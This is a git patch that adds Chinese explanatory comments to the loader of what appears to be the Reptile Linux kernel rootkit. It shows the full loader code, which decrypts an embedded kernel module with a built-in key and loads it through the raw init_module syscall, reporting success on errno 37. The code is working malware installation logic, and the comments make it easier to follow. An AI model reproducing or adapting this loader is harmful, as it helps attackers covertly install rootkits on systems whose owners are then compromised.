From 784f8df86ccea9ac7ca87800c4a456f76b218ad5 Mon Sep 17 00:00:00 2001 From: shenzexi <2538927534@qq.com> Date: Mon, 16 Dec 2024 21:14:30 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BB=A3=E7=A0=81=E6=B3=A8=E9=87=8A?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- src/Reptile/kernel/loader/loader.c | 36 +++++++++++++++++++----------- 1 file changed, 23 insertions(+), 13 deletions(-) diff --git a/src/Reptile/kernel/loader/loader.c b/src/Reptile/kernel/loader/loader.c index f9fc7a0..a215d4e 100644 --- a/src/Reptile/kernel/loader/loader.c +++ b/src/Reptile/kernel/loader/loader.c @@ -11,27 +11,37 @@ #include "encrypt.h" +// 定义一个字符数组,用于存储加密的内核模块数据 static char reptile_blob[] = { #include "reptile.ko.inc" }; +// 定义init_module函数,用于加载内核模块 #define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values) int main(void) { - int ret = EXIT_FAILURE; - size_t len; - void *module_image; + int ret = EXIT_FAILURE; + size_t len; + void *module_image; - len = sizeof(reptile_blob); - do_decrypt(reptile_blob, len, DECRYPT_KEY); - module_image = malloc(len); - memcpy(module_image, reptile_blob, len); - init_module(module_image, len, ""); + // 获取内核模块数据的长度 + len = sizeof(reptile_blob); + // 对内核模块数据进行解密 + do_decrypt(reptile_blob, len, DECRYPT_KEY); + // 分配内存用于加载内核模块 + module_image = malloc(len); + // 将解密后的内核模块数据复制到分配的内存中 + memcpy(module_image, reptile_blob, len); + // 加载内核模块 + init_module(module_image, len, ""); - if (errno == 37) - ret = EXIT_SUCCESS; + // 检查加载结果,如果errno为37,表示加载成功 + if (errno == 37) + ret = EXIT_SUCCESS; - free(module_image); - return ret; -} + // 释放分配的内存 + free(module_image); + // 返回加载结果 + return ret; +} \ No newline at end of file